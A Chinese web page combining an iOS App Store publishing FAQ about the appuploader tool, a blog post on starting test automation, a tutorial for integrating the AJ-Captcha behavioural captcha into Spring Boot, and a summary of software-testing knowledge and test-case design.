要解决此问题,请修改您的应用程序,让用户可以自由访问您的应用程序的非基于账户的功能。
资源
请参阅 指南 5.1.1(V) - 账户登录以详细的了解我们对具有基于账户的内容和功能的应用程序的要求。
,应该怎么解决呢?我的app是点击课程里面的章节,判断如果没登录,跳转至登录页,这难道也有问题么?
所以苹果已经说明得很清楚了,需要可以不登陆也可以访问到课程页面。
想要解决可以提供一个比如说免登的游客账户功能。
如果觉得麻烦也可以和审核团队说明需要注册的具体原因,比如说付费内容之类的,再重新提交看看是否能再次审核通过。
不过多半会继续以 3.1.1 的条款继续驳回你。
70.开启消息推送需要证书,这证书去哪里获取?错误提示内容:图片内容:
Apple 推送证书通知服务SSL证书
要为Apple ID 配置推送通知,需要允许通知服务器连接Apple推送通知服务的客户端SSL证书,每个App ID都需要自己的客户
端SSL证书。在下方管理和生成您的证书
开发SSL证书
创建用于App ID的附加证书
创建证书
生产SSL证书
创建用于App ID的附加证书。
创建证书
这个SSL证书是你服务器需要的,你申请成功以后给你的后端开发人员就行。一般是需要申请 开发 和 生产两个环境的证书;
你安装上面步骤创建就好
setting_up_a_remote_notification_server
setting_up_a_remote_notification_server/establishing_a_certificate-based_connection_to_apns
establishing_a_token-based_connection_to_apns
iOS客户端创建推送证书:
https://docs.jiguang.cn/jpush/client/iOS/ios_cer_guide
71.这个是咋回事
你增加的多了,等待审核通过就好了
72.这个激活码是在哪里
自动免费7天试用,点击获取激活码购买
73.十个设备不用审核,我的超过十个了,那十个设备后只能等审核了吗,怎么删除
删不了设备,只能等审核了
74..在哪里勾选只选择ipone,不选iPad,现在要上传iPad的截图
apple 应用管理中心
75.苹果上架是必须源码上架吗,还是说可以直接把包挂上去
有包就行
76.问一下假如7天试用过期了,这些证书也会过期吗
证书是按证书的过期时间算,工具是按工具的时间算,俩个之间是独立的
77.没有购买苹果开发账号,激活这款软件测试证书有效期可以达到多久
账号里面是多久就是多久,软件只是管理工具,不会影响有效期
78.请问我用appuploader上传的ipa 他说我二进制文件无效是怎么回事呢
去看apple开发者账号邮箱,根据提示修改重新提交
79.如果我重新上传一版必须要改版本号吗
要
80.是我用appuploader 转的二进制文件有问题吗,这个改怎么解决呢,是重新打个包上传吗
是,修改编译打包号,重新上传
81.我支付一年的激活,咋出现这个问题了
关闭重新登录
82.这是什么原因
试试通道2看看
83.P是什么意思?未启用吗
p apple处理中
上一篇appuploader和xcode打包导出ipa
自动化测试技术笔记(一):前期调研怎么做
昨天下午在家整理书架,把很多看完的书清理打包好,预约了公益捐赠机构上门回收。整理的过程中无意翻出了几年前的工作记事本,里面记录了很多我刚开始做自动化和性能测试时的笔记。虽然站在现在的角度来看,那个时候无论是技术细节还是整体思路都不够完善,但也有一些值得回味的点。这篇文章,我将笔记里一些值得借鉴的内容提炼总结了出来,供大家参考。工作背景之前都是在零售快消品行业做功能和接口测试,自动化测试在工作中的占比只有30%左右。大概是18年上半年,入职了一家电商企业做专职的自动化测试工作,当时其实也是有一定压力和挑战的。一方面那个时候测试团队做专职技术工作的就我一个人,领导期望和KPI压力还是比较大的;另一方面,电商的业务场景和技术复杂度较零售企业也不一样,需要一定的学习成本。下面的内容,是我当时从零开始做自动化测试的一些实践,对新手同学应该能有所帮助。刚入职新公司,无论是做业务测试或者技术专项,前期的调研工作是必不可少的。我个人认为在前期的调研阶段,以下几方面是比较重要且必不可少的。业务流程和场景(业务)自动化测试的主要目的是提高回归效率。以电商业务场景为例,如下几方面业务流程是比较典型的:用户登陆流程会员注册流程用户导购流程下单支付流程后台处理流程售后服务流程仓储物流流程我当时刚入职的前半个月,基本都在做前期的调研工作。当然,所谓的调研并不是说找各个模块的研发测试人员一对一访谈这种形式,我更建议去深入到具体的日常工作中,比如参与技术评审、版本迭代、项目复盘。这样做相比于一对一访谈的好处,一方面是可以更快速的熟悉当前的团队研发测试流程,另一方面也可以对后续工作开展的业务场景和技术架构有一个大体的了解。被测系统技术架构(技术)了解被测系统的技术架构是很多同学埋头做自动化测试经常忽略的,这点其实特别重要。要了解系统的技术架构,新手可以重点关注如下几点:请求入口:比如web端、移动端(区分Android和iOS),这会影响到后续的工具和框架选型设计;数据库表结构:自动化测试所需的测试数据落库,以及结果校验、字段类型等都是测试过程要考虑的;前后端技术栈:UI自动化必须熟悉前端框架,这样能避免后续的元素定位提取时踩坑;接口自动化也需要熟悉后段的技术框架甚至部分代码实现,有些技术难点(比如验证码、过滤规则、白名单配置、运费计算逻辑)都可以利用已有的封装好的接口或服务来快速实现;技术技术组件:比如配置中心、注册中心、发布平台、代码管理工具等;明确工作目标和KPI(产出)虽然说自动化测试比较偏技术工作,但在开展前,明确你的工作目标和KPI也是不可忽视的一点。并不是说技术优秀就可以拿到好的绩效,企业生存第一法则是先活下来做产出,再考虑锦上添花和技术优化的事。工作目标和KPI如何明确呢?我个人的建议如下:根据调研结果心里对现状有个大致了解(业务复杂度、技术难度、落地成本);多和你的领导沟通,从他那里获取有用信息(他想要的结果、覆盖范围、产出内容);和团队其他同学以及有协作关系的技术同学打好关系(便于更好的了解工作细节以及工作开展时获得支持配合);通过文档或者ppt形式和你的直属领导再次沟通(当前现状是什么、落地挑战是什么、需要什么样的支持配合、你的落地规划是什么、先做什么后做什么、这样做的原因是什么、这样做解决了什么问题&带来了什么价值);工作开展区分优先级(落地)通过前面的几项工作,当你对当前现状和业务以及技术有一定了解后,就需要出具具体的落地方案了。其实落地方案很简单,无非就是说明做什么,解决什么问题,通过什么方式,需要哪些配合和资源,优先级是什么。如果是一个人从零开始落地自动化测试,我个人觉得比较重要的工作有如下几点:自动化测试环境(和功能测试环境混用还是单独搭建);测试脚本和数据如何管理(Git+gitlab、Excel/配置文件/数据库);测试报告正确性和结果验证有效性如何解决(如何生成报告/发送给谁看/异常情况如何比对);自动化测试的覆盖范围和粒度(第一阶段/第二阶段各是什么,具体的指标来衡量);如何解决持续集成和快速回归验证(jenkins/CICD,自己搭建还是利用团队已有的工具平台,需要谁配合);以上内容来源于我之前做自动化测试工作时的一些笔记内容,稍加提炼和修改。下一篇我会聊聊做自动化测试前期的一些准备工作的细节。
验证码这样做,瞬间高出一个逼格
前言行为验证码通过用户的操作来完成验证,常见的行为验证码有拖动式和点触式。拖动式验证就是根据图片显示,将指定的图形拖动到指定位置完成验证。而点触式验证码就是通过鼠标点击出示例中出现的图形完成验证。行为验证码应用今天推荐一款非常优秀的行为验证码AJ-Captcha(项目地址https://gitee.com/anji-plus/captcha),这个项目包含了滑动拼图和文字点选两种类型的验证码,除了嵌入式交互,还提供了弹出式交互的方式,完全不影响原UI布局。AJ-Captcha的验证流程如下:用户访问登录页面,发送请求显示行为验证码用户按照提示要求完成验证码拼图/点击用户提交表单,前端将第二步的输出一同提交到后台验证数据随表单提交到后台后,后台需要调用captchaService.verification做二次校验。第4步返回校验通过/失败到产品应用后端,再返回到前端。如下图所示。如果你是Maven开发者,使用起来非常方便,项目的维护人员已经将依赖推送至中央仓库。只需要引入依赖就完成了90%的工作量。接下来只需要在登录接口中进行二次验证就可以了。项目集成了包括html、vue、flutter、uni-app、Android Kotlin、IOS、php等多种前端语言,可以轻松将AJ_Captcha集成到项目中。接下来我们以Spring Boot+html为例看看如何快速集成AJ_Captcha完成行为验证码的交互流程。第一步、Spring Boot中引入AJ_Captcha依赖<dependency>
<groupId>com.anji-plus</groupId>
<artifactId>spring-boot-starter-captcha</artifactId>
<version>1.2.9</version>
</dependency>AJ_Captcha默认实现了验证码生成和验证接口,验证码生成接口的默认请求地址是/captcha/get,验证接口的默认请求地址为/captcha/check。也就是说完成以上步骤,就可以提供给前端获取和验证验证码的接口了。如果你还想让你的验证码生成的个性一点,可以配置以下属性:# 滑动验证,底图路径,不配置将使用默认图片
# 支持全路径
# 支持项目路径,以classpath:开头,取resource目录下路径,例:classpath:images/jigsaw
aj.captcha.jigsaw=classpath:images/jigsaw
# 滑动验证,底图路径,不配置将使用默认图片
# 支持全路径
# 支持项目路径,以classpath:开头,取resource目录下路径,例:classpath:images/pic-click
aj.captcha.pic-click=classpath:images/pic-click
# 对于分布式部署的应用,我们建议应用自己实现CaptchaCacheService,比如用Redis或者memcache,
# 参考CaptchaCacheServiceRedisImpl.java
# 如果应用是单点的,也没有使用redis,那默认使用内存。
# 内存缓存只适合单节点部署的应用,否则验证码生产与验证在节点之间信息不同步,导致失败。
# !!! 注意啦,如果应用有使用spring-boot-starter-data-redis,
# 请打开CaptchaCacheServiceRedisImpl.java注释。
# redis -----> SPI: 在resources目录新建META-INF.services文件夹(两层),参考当前服务resources。
# 缓存local/redis...
aj.captcha.cache-type=local
# local缓存的阈值,达到这个值,清除缓存
#aj.captcha.cache-number=1000
# local定时清除过期缓存(单位秒),设置为0代表不执行
#aj.captcha.timing-clear=180
#spring.redis.host=10.108.11.46
#spring.redis.port=6379
#spring.redis.password=
#spring.redis.database=2
#spring.redis.timeout=6000
# 验证码类型default两种都实例化。
aj.captcha.type=default
# 汉字统一使用Unicode,保证程序通过@value读取到是中文,可通过这个在线转换;yml格式不需要转换
# https://tool.chinaz.com/tools/unicode.aspx 中文转Unicode
# 右下角水印文字(我的水印)
aj.captcha.water-mark=\u6211\u7684\u6c34\u5370
# 右下角水印字体(不配置时,默认使用文泉驿正黑)
# 由于宋体等涉及到版权,我们jar中内置了开源字体【文泉驿正黑】
# 方式一:直接配置OS层的现有的字体名称,比如:宋体
# 方式二:自定义特定字体,请将字体放到工程resources下fonts文件夹,支持ttf\ttc\otf字体
# aj.captcha.water-font=WenQuanZhengHei.ttf
# 点选文字验证码的文字字体(文泉驿正黑)
# aj.captcha.font-type=WenQuanZhengHei.ttf
# 校验滑动拼图允许误差偏移量(默认5像素)
aj.captcha.slip-offset=5
# aes加密坐标开启或者禁用(true|false)
aj.captcha.aes-status=true
# 滑动干扰项(0/1/2)
aj.captcha.interference-options=2
aj.captcha.history-data-clear-enable=false
# 接口请求次数一分钟限制是否开启 true|false
aj.captcha.req-frequency-limit-enable=false
# 验证失败5次,get接口锁定
aj.captcha.req-get-lock-limit=5
# 验证失败后,锁定时间间隔,s
aj.captcha.req-get-lock-seconds=360
# get接口一分钟内请求数限制
aj.captcha.req-get-minute-limit=30
# check接口一分钟内请求数限制
aj.captcha.req-check-minute-limit=60
# verify接口一分钟内请求数限制
aj.captcha.req-verify-minute-limit=60第二步、前端伪代码调用接口引入验证码的样式以及验证等文件验证码获取及验证<script>
$('#content').slideVerify({
baseUrl:'http://localhost:8080/', //服务器请求地址, 默认地址为安吉服务器;
containerId:'btn',//pop模式 必填 被点击之后出现行为验证码的元素id
mode:'pop', //展示模式
imgSize : { //图片的大小对象,有默认值{ width: '310px',height: '155px'},可省略
width: '400px',
height: '200px',
},
barSize:{ //下方滑块的大小对象,有默认值{ width: '310px',height: '50px'},可省略
width: '400px',
height: '40px',
},
beforeCheck:function(){ //检验参数合法性的函数 mode ="pop"有效
let flag = true;
//实现: 参数合法性的判断逻辑, 返回一个boolean值
return flag
},
ready : function() {}, //加载完毕的回调
success : function(params) { //成功的回调
// params为返回的二次验证参数 需要在接下来的实现逻辑回传服务器
例如: login($.extend({}, params))
},
error : function() {} //失败的回调
});
</script>验证码验证成功之后,会返回一个用于二次验证的串码。第三步,用户登录,二次验证客户端登录的时候携带验证成功后返回的串码,在登录接口中进行二次验证,验证流程完毕。@Autowired
private CaptchaService captchaService;
/**
* 页面获取token
* 大屏数据校验
* @param user
* @return
*/
@PostMapping("getWebToken")
public ResultBean getWebToken(@RequestBody LoginUser user,String captchaVerification){
ResultBean resultBean = new ResultBean();
CaptchaVO captchaVO = new CaptchaVO();
captchaVO.setCaptchaVerification(captchaVerification);
ResponseModel responseModel = captchaService.verification(captchaVO);
if(!responseModel.isSuccess()){
resultBean.fillCode(0,responseModel.getRepMsg());
return resultBean;
}
// 验证通过后,继续登录流程
}今天的内容就介绍到这里了,趁这个机会,试着使用这款高颜值的行为验证码来替换项目中的图形验证码吧。
测试开发知识总结(一)
本文内容顺序:测试基础理论、测试岗经常被问到的场景题、智力题、测试岗高频算法题、数据库、Linux知识点。常用自动化测试工具1、Appium官网:http://appium.ioAppUI自动化测试Appium 是一个移动端自动化测试开源工具,支持iOS 和Android 平台,支持Python、Java 等语言,即同一套Java Python 脚本可以同时运行在iOS 和Android平台,Appium 是一个C/S 架构, 核心是一个 Web 服务器,它提供了一套 REST 的接口。当收到客户端的连接后,就会监听到命令,然后在移动设备上执行这些命令,最后将执行结果放在 HTTP 响应中返还给客户端。License:免费2、Selenium(★★)官网:https://www.seleniumhq.org/download/WebUI自动化测试Selenium是一个用于Web应用程序测试的工具,Selenium已经成为Web自动化测试工程师的首选。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。支持的浏览器包括IE(7、8、9)、Mozilla Firefox、Mozilla Suite等。这个工具的主要功能包括:测试与浏览器的兼容性——测试你的应用程序看是否能够很好得工作在不同浏览器和操作系统之上。测试系统功能——创建回归测试检验软件功能和用户需求。支持自动录制动作和自动生成 .Net、Java、Perl等不同语言的测试脚本。Selenium 是ThoughtWorks专门为Web应用程序编写的一个验收测试工具。其升级版本为Webdriver。License:免费3、Postman(★★★)官网:https://www.getpostman.com接口测试Postman 提供功能强大的 Web API 和 HTTP 请求的调试,它能够发送任何类型的HTTP 请求 (GET, POST, PUT, DELETE…),并且能附带任何数量的参数和 Headers。不仅如此,它还提供测试数据和环境配置数据的导入导出,付费的 Post Cloud 用户还能够创建自己的 Team Library 用来团队协作式的测试,并能够将自己的测试收藏夹和用例数据分享给团队。License:免费4、Jmeter(★★★)官网:https://jmeter.apache.org接口测试,性能测试JMeter是Apache组织的开放源代码项目,它是功能和性能测试的工具,100%的用java实现;JMeter可以用于测试静态或者动态资源的性能(文件、Servlets、Perl脚本、java对象、数据库和查询、ftp服务器或者其他的资源)。JMeter用于模拟在服务器、网络或者其他对象上附加高负载以测试他们提供服务的受压能力,或者分析他们提供的服务在不同负载条件下的总性能情况。你可以用JMeter提供的图形化界面分析性能指标或者在高负载情况下测试服务器/脚本/对象的行为。使用Jmeter做接口测试需要注意一点,小心使用“用户定义变量”,Jmeter组件有优先级的,如果多个线程同时执行的时候,“用户定义变量”组件定义的变量可能会乱套。License:免费5、Loadrunner官网:https://software.microfocus.com/en-us/products/loadrunner-load-testing/overview性能测试LoadRunner,是一种预测系统行为和性能的负载测试工具。通过以模拟上千万用户实施并发负载及实时性能监测的方式来确认和查找问题,LoadRunner能够对整个企业架构进行测试。企业使用LoadRunner能最大限度地缩短测试时间,优化性能和加速应用系统的发布周期。 LoadRunner可适用于各种体系架构的自动负载测试,能预测系统行为并评估系统性能。License:商业6、Jenkins(★★★★★)官网:https://jenkins.io持续集成自动化构建 编译,部署,任务执行,测试报告,邮件通知等。License:免费手机兼容性测试(机型选择)软件测试开发流程:1.需求分析在测试前拿到产品需求文档,进行需求分析及需求评审前先对需求文档进行详细的阅读,对有疑问的地方进行标注。具体可从以下进行:a.分析产品功能点b.产品核心竞争力c.Kano模型、马斯洛需求分析、多问几个为什么、上下文分析法2.制订测试用例(重要)工欲善其事,必先利其器;对测试而言,测试用例就是器,做好了才能把好关a.使用思维导图列举测试大纲,尽量发散,想到什么就写什么,;先放后收,对知识点进行总结和归纳,标记重点测试模块,删除冗余及重复测试点。b.可使用边界值法、等价类划分法、错误推测法、因果图法等设计案例c.根据测试大纲制定测试用例,需包含模块名、测试优先级、操作步骤、期望结果、测试结果、备注3.评审测试用例a.测试作为主导,联合开发、项目经理、PM进行测试用例评审b.可先讲解测试大纲,让开发、项目经理、PM心中对测试用例有个大概;后再进行详细测试用例讲解4.执行测试a.根据测试用例执行测试b.发现问题保留现场,记录测试方法,通知开发解决问题c.覆盖测试用例之外若有时间可进行探索性测试5.提交Bug并推动Bug解决a.在Bug管理工具上提交Bug,详细记录测试步骤b.根据Bug严重程度划分Bug等级:致命、严重、一般、提示c.推动开发解决问题,记录问题进展,一般聊天沟通,若问题严重则需通过邮件推动解决6.回归测试a.对已修复的Bug进行验证b.对Bug所在模块进行基本功能测试;整体进行冒烟测试,确保不会因为修改Bug而引起其他功能出现问题7.编写并提交测试报告可使用金字塔原理设计测试报告,先总后分,上级统领下级,下级推导出上级,环环相扣a.对Bug进行汇总,筛选出各个等级的Bug存活情况b.制订Bug发现及解决曲线图,一般版本正常应是前期多,后期收敛,存活的是级别较低的Bugc.总结归纳版本情况,评估发布与否软件测试方法(★★★★★)1. 软件测试方法:白盒测试、黑盒测试、灰盒测试、静态测试、动态测试2. 白盒测试:是一种测试用例设计方法,在这里盒子指的是被测试的软件,白盒,顾名思义即盒子是可视的,你可以清楚盒子内部的东西以及里面是如何运作的,因此白盒测试需要你对系统内部的结构和工作原理有一个清楚的了解,并且基于这个知识来设计你的用例。白盒测试技术一般可被分为静态分析和动态分析两类技术。静态分析主要有:控制流分析技术、数据流分析技术、信息流分析技术。动态分析主要有:逻辑覆盖率测试(分支测试、路径测试等),程序插装等。白盒测试优点:迫使测试人员去仔细的思考软件的实现;可以检测代码中的每条分支和路径;揭示隐藏在代码中的错误;对代码的测试比较彻底;最优化。白盒测试缺点:昂贵;无法检测代码中遗漏的路径和数据敏感性错误;不验证规格的正确性。3. 黑盒测试又叫功能测试,这是因为在黑盒测试中主要关注被测软件的功能实现,而不是内部逻辑。在黑盒测试中,被测对象的内部结构,运作情况对测试人员是不可见的,测试人员对被测产品的验证主要是根据其规格,验证其与规格的一致性。在绝大多数没有用户参与的黑盒测试中,最常见的测试有:功能性测试、容量测试、安全性测试、负载测试、恢复性测试、标杆测试、稳定性测试、可靠性测试等。4. 灰盒测试:白盒测试和黑盒测试往往不是决然分开的,一般在白盒测试中交叉使用黑盒测试的方法,在黑盒测试中交叉使用白盒测试的方法。灰盒测试就是这类界于白盒测试和黑盒测试之间的测试。最常见的灰盒测试是集成测试。5. 静态测试:是一种不通过执行程序而进行测试的技术。它的关键功能是检查软件的表示和描述是否一致,没有冲突或者没有歧义。6. 动态测试:包含了程序在受控的环境下使用特定的期望结果进行正式的运行。它显示了一个系统在检查状态下是正确还是不正确。单元测试属于白盒测试范畴;集成测试属于灰盒测试范畴;系统测试属于黑盒测试范畴。CI/CD理解(★★★★★)持续集成持续集成强调开发人员提交了新代码之后,立刻进行构建、(单元)测试。根据测试结果,我们可以确定新代码和原有代码能否正确地集成在一起。持续交付持续交付在持续集成的基础上,将集成后的代码部署到更贴近真实运行环境的「类生产环境」(production-like environments)中。比如,我们完成单元测试后,可以把代码部署到连接数据库的 Staging 环境中更多的测试。如果代码没有问题,可以继续手动部署到生产环境中。持续部署持续部署则是在持续交付的基础上,把部署到生产环境的过程自动化。我个人觉得持续集成、持续交付、持续部署非常值得推广。开发过程中最怕集成时遇到问题导致返工,而持续集成、持续交付、持续部署恰恰可以早发现早解决,从而可以避免这个问题。接口文档(★★★)一、什么是接口文档?在项目开发中,web项目的前后端分离开发,APP开发,需要由前后端工程师共同定义接口,编写接口文档,之后大家都根据这个接口文档进行开发,到项目结束前都要一直维护。二、为什么要写接口文档?1、项目开发过程中前后端工程师有一个统一的文件进行沟通交流开发2、项目维护中或者项目人员更迭,方便后期人员查看、维护三、接口规范是什么?首先接口分为四部分:方法、uri、请求参数、返回参数1、方法:新增(post) 修改(put) 删除(delete) 获取(get)2、uri:以/a开头,如果需要登录才能调用的接口(如新增、修改;前台的用户个人信息,资金信息等)后面需要加/u,即:/a/u;中间一般放表名或者能表达这个接口的单词;get方法,如果是后台通过搜索查询列表,那么以/search结尾,如果是前台的查询列表,以/list结尾;url参数就不说了。3、请求参数和返回参数,都分为5列:字段、说明、类型、备注、是否必填字段是类的属性;说明是中文释义;类型是属性类型,只有String、Number、Object、Array四种类型;备注是一些解释,或者可以写一下例子,比如负责json结构的情况,最好写上例子,好让前端能更好理解;是否必填是字段的是否必填。4、返回参数结构有几种情况:1、如果只返回接口调用成功还是失败(如新增、删除、修改等),则只有一个结构体:code和message两个参数;2、如果要返回某些参数,则有两个结构体:1是code/mesage/data,2是data里写返回的参数,data是object类型;3、如果要返回列表,那么有三个结构体,1是code/mesage/data,data是object,里面放置page/size/total/totalPage/list 5个参数,其中list是Arrary类型,list里放object,object里是具体的参数。注意:uri地址里不允许出现大写字母,如果是两个单词拼接,用/分开示例:请求地址:get /a/student/list请求参数:返回参数:单元测试(★★★)理解:类比电视机组装完后不能点亮,如果检测的话,需要一个一个电器器件去排查。如果从一开始对每个元器件进行测试,就能够极大程度的排除这个问题。定义:单元测试是指,对软件中的最小可测试单元在与程序其他部分相隔离的情况下进行检查和验证的工作,这里的最小可测试单元通常是指函数或者类。单元测试通常由开发工程师完成,一般会伴随开发代码一起递交至代码库。单元测试属于最严格的软件测试手段,是最接近代码底层实现的验证手段,可以在软件开发的早期以最小的成本保证局部代码的质量。另外,单元测试都是以自动化的方式执行,所以在大量回归测试的场景下更能带来高收益。如何设计一个好的测试用例:(★★★)“好的”测试用例一定是一个完备的集合,它能够覆盖所有等价类以及各种边界值,而跟能否发现缺陷无关。一个“好的”测试用例,必须具备以下三个特征。1. 整体完备性: “好的”测试用例一定是一个完备的整体,是有效测试用例组成的集合,能够完全覆盖测试需求。2. 等价类划分的准确性: 指的是对于每个等价类都能保证只要其中一个输入测试通过,其他输入也一定测试通过。3. 等价类集合的完备性: 需要保证所有可能的边界值和边界条件都已经正确识别。三种最常用的测试用例设计方法:等价类划分法、边界值分析法、错误推测方法。第一,等价类划分法我们只要从每个等价类中任意选取一个值进行测试,就可以用少量具有代表性的测试输入取得较好的测试覆盖结果。现在,我给你看一个具体的例子:学生信息系统中有一个“考试成绩”的输入项,成绩的取值范围是0~100之间的整数,考试成绩及格的分数线是60。为了测试这个输入项,显然不可能用0~100的每一个数去测试。通过需求描述可以知道,输入0~59之间的任意整数,以及输入60~100之间的任意整数,去验证和揭露输入框的潜在缺陷可以看做是等价的。那么这就可以在0~59和60~100之间各随机抽取一个整数来进行验证。这样的设计就构成了所谓的“有效等价类”。你不要觉得进行到这里,已经完成了等价类划分的工作,因为等价类划分方法的另一个关键点是要找出所有“无效等价类”。显然,如果输入的成绩是负数,或者是大于100的数等都构成了“无效等价类”。在考虑了无效等价类后,最终设计的测试用例为:有效等价类1:0~59之间的任意整数;有效等价类2:59~100之间的任意整数;无效等价类1:小于0的负数;无效等价类2:大于100的整数;无效等价类3:0~100之间的任何浮点数;无效等价类4:其他任意非数字字符。第二,边界值分析方法边界值分析是对等价类划分的补充,你从工程实践经验中可以发现,大量的错误发生在输入输出的边界值上,所以需要对边界值进行重点测试,通常选取正好等于、刚刚大于或刚刚小于边界的值作为测试数据。我们继续看学生信息系统中“考试成绩”的例子,选取的边界值数据应该包括:-1,0,1,59,60,61,99,100,101。第三,错误推测方法错误推测方法是指基于对被测试软件系统设计的理解、过往经验以及个人直觉,推测出软件可能存在的缺陷,从而有针对性地设计测试用例的方法。这个方法强调的是对被测试软件的需求理解以及设计实现的细节把握,当然还有个人的能力。错误推测法和目前非常流行的“探索式测试方法”的基本思想和理念是不谋而合的,这类方法在目前的敏捷开发模式下的投入产出比很高,因此被广泛应用。但是,这个方法的缺点也显而易见,那就是难以系统化,并且过度依赖个人能力。总结:在我看来,深入理解被测软件需求的最好方法是,测试工程师在需求分析和设计阶段就开始介入,因为这个阶段是理解和掌握软件的原始业务需求的最好时机。上文摘自《测试工程师全栈技术进阶与实践》 茹炳晟针对某一个产品写测试用例:(★★★★★)此类问题几乎每个面试官都会问!基本思路:可以从功能测试,UI测试,稳定性测试,压力测试(边界极限),安全测试,本地化测试等角度去考虑测试水杯(★)1、基本功能测试硬度:是否达到设计标准装载能力:在杯子内分别装入少量的、半杯的、潢杯的,看其装载量是否达到设计标准装载种类:开水(是否产生异味)、温水、冷水、咖啡用水杯装水看漏不漏;水能不能被喝到输入条件: 冷水,热水,冰水。。。输出条件: 是否退色 是否变形 是否有毒一杯开水(假定100摄氏度)保温的时间(多久后变到室温),自然还有冰块在室温下多长时间融化2、界面测试(UI测试)看其形状、大小设计是否符合需求规格说明书的定义,适合人方便拿起喝水;外观是否吸引人,赏心悦目;广告图案沾水后是否掉色、模糊;广告图案是否使用环保材料、不影响使用者健康和回收再利用;广告图案是否和当地政治、宗教符合,没有冲突;广告图案是否做到了本地化和国际化。3、易用性测试看其形状、大小设计是否适合人方便拿起;残疾人士用此杯去喝水的容易程度;杯子设计是否上大下小,在运输过程中可以套在一起有效利用空间,在使用时也容易拿开4、稳定性测试(24*7)装入液体后记录其多久以后会漏水;5、安全性测试杯子所用的材料(包括纸基、涂层和广告颜料)是否符合食品卫生标准,在内外温度待环境因素下是否会与所盛各种饮料反应,而产生对人体有害的物质;6、本地化测试为国际化和本地化的需要,广告图案和文字是否在政治、宗教和文化方面具有广泛的适用性;安全性:杯子有没有毒或细菌;可靠性:杯子从不同高度落下的损坏程度;可移植性:杯子再不同的地方、温度等环境下是否都可以正常使用;7、对设计的改进建议“如果是一次性杯子,能否标示已使用(比如:变色)”和“杯子是否有使用者标贴(多人使用时防止混淆)”。压力测试:用根针并在针上面不断加重量,看压强多大时会穿透8、性能测试温度/杯质的抗压力/寿命/广告漆的耐久度/等等测试一个输入框(计数)(★★)相信不少朋友在笔试的时候都遇到过测试用例设计的笔试题。通常是一个登陆页面,上面有用户名,密码的输入框,再多一点的有个验证码。不过要是你见到的是以下的这道测试用例设计笔试题,不用问,面试官一定是看过《Google软件测试之道》的。(也脑补一下,万一面试官是看过CC先生的简书呢…… 嗯嗯,梦想还是要有的)出题时间:在一个Web测试页面上,有一个输入框,一个计数器(count)按钮,用于计算一个文本字符串中字母a出现的个数。这里的问题是,请设计一系列测试用例用以测试这个Web页面。很多朋友可能拿到这道题的时候已经开始写下1.2.3.了,不过根据经验上来说,追求数量而非质量的倾向,是一种低效的工作方式。(特别在有面试官在旁边看到你答题的时候,请保持沉思者状保持10-15秒)能够针对题目提出一些问题来的候选者会被认为更有潜质来做测试人员,比如大写还是小写?只是英语吗?计算完成后文本会被清除吗?多次按下按钮会发生什么事情?诸如此类。通常说来,我们考虑一个测试对象的时候至少从以下六方面来考虑。功能性易用性可靠性性能安全兼容性如果你是一个测试菜鸟,从功能性出发,你可能会列出以下一个典型的列表:“banana”:3(一个合法的英文字)。“A” 和“a”:1(一个简单有正常结果的合法输入)。“”:0(一个简单的结果为0的合法输入)。Null:0(简单的错误输入)。“AA” 和“aa”:2(个数大于1并且所有字符都为a/A的输入)。“b”:0(一个简单的非空合法输入,结果为0)。“aba”:2(目标字符出现在开头和结尾,以寻找循环边界错误)。“bab”:1(目标字符出现在中间)。space/tabs:N(空白字符与N个a的混合)。不包含a的长字符串:N(N大于0)。包含a的长字符串:N(N是a的倍数,试试龙妈的名字)。{java/C/HTML/JavaScript}:N是a出现的个数(可执行字符,或错误,或代码解释)。….更优秀的测试工程师,会开始考虑后面五个方面,设计以下用例。质疑界面的外观、调色板和对比度(这与相关应用风格一致么?)文本框太小了,建议加长以便显示更长的输入字符串这个应用能否在同一台服务器上运行多个实例,多个用户同时使用是否会有问题。是否会根据用户的输入自动匹配内容?建议使用真实的数据,如从词典或书中选择输入内容。提出疑问:“输入的数据是否会被保存”,输入字符串可能包含地址或其他身份信息。输入HTML和JavaScrip,看是否会破坏页面渲染。尝试复制/粘贴字符串。提出疑问:“计算足够快么?在大并发下使用”。提出疑问:“用户怎么找到该页面?”提出疑问:“有快捷键的设置么?比如输完字符后敲入回车键而不是点击提交按钮”还有一些测试点,只有经验丰富的测试工程师才会想到。意识到计算会通过URL-encodedHTTP GET请求传递到服务器,字符串可能会在网络传输时被截断,因此,无法保证支持多长的URL。建议将此功能参数化,为什么只对字母a计算呢?考虑计算其它语言中的a(α,Alpha)。考虑到该应用是否应该国际化。考虑到输入法全角输入和半角输入是否相同。考虑编写脚本或者手工采样来探知字符串长度的上限,然后确保在此区间内功能正常。考虑背后的实现和代码。也许已经有一个计数器遍历该字符串。提出疑问:“HTTP POST方法和参数会被黑掉码?也许有安全漏洞?”用脚本创建各种有趣的排列组合和字符串特性,如长度、a的个数等,自动生成测试输入和验证。针对“用户登录”设计测试用例(★★★)以用户登录为例,一般的小白可能只能够想到一些功能性测试(如下)。现在,针对“用户登录”功能,基于等价类划分和边界值分析方法,我们设计的测试用例包括:1. 输入已注册的用户名和正确的密码,验证是否登录成功;2. 输入已注册的用户名和不正确的密码,验证是否登录失败,并且提示信息正确;3. 输入未注册的用户名和任意密码,验证是否登录失败,并且提示信息正确;4. 用户名和密码两者都为空,验证是否登录失败,并且提示信息正确;5. 用户名和密码两者之一为空,验证是否登录失败,并且提示信息正确;6. 如果登录功能启用了验证码功能,在用户名和密码正确的前提下,输入正确的验证码,验证是否登录成功;7. 如果登录功能启用了验证码功能,在用户名和密码正确的前提下,输入错误的验证码,验证是否登录失败,并且提示信息正确。的确,上面的测试用例集已经涵盖了主要的功能测试场景。但是在一个优秀的测试工程师眼中,这些用例只能达到勉强及格的标准。现在,我跟你分享一下有经验的测试工程师会再增加的测试用例:1. 用户名和密码是否大小写敏感;2. 页面上的密码框是否加密显示;3. 后台系统创建的用户第一次登录成功时,是否提示修改密码;4. 忘记用户名和忘记密码的功能是否可用;5. 前端页面是否根据设计要求限制用户名和密码长度;6. 如果登录功能需要验证码,点击验证码图片是否可以更换验证码,更换后的验证码是否可用;7. 刷新页面是否会刷新验证码;8. 如果验证码具有时效性,需要分别验证时效内和时效外验证码的有效性;9. 用户登录成功但是会话超时后,继续操作是否会重定向到用户登录界面;10. 不同级别的用户,比如管理员用户和普通用户,登录系统后的权限是否正确;11. 页面默认焦点是否定位在用户名的输入框中;12. 快捷键Tab 和Enter等,是否可以正常使用。从软件测试的维度来看,还应该包含非功能性需求。主要涉及安全性、性能以及兼容性三大方面。 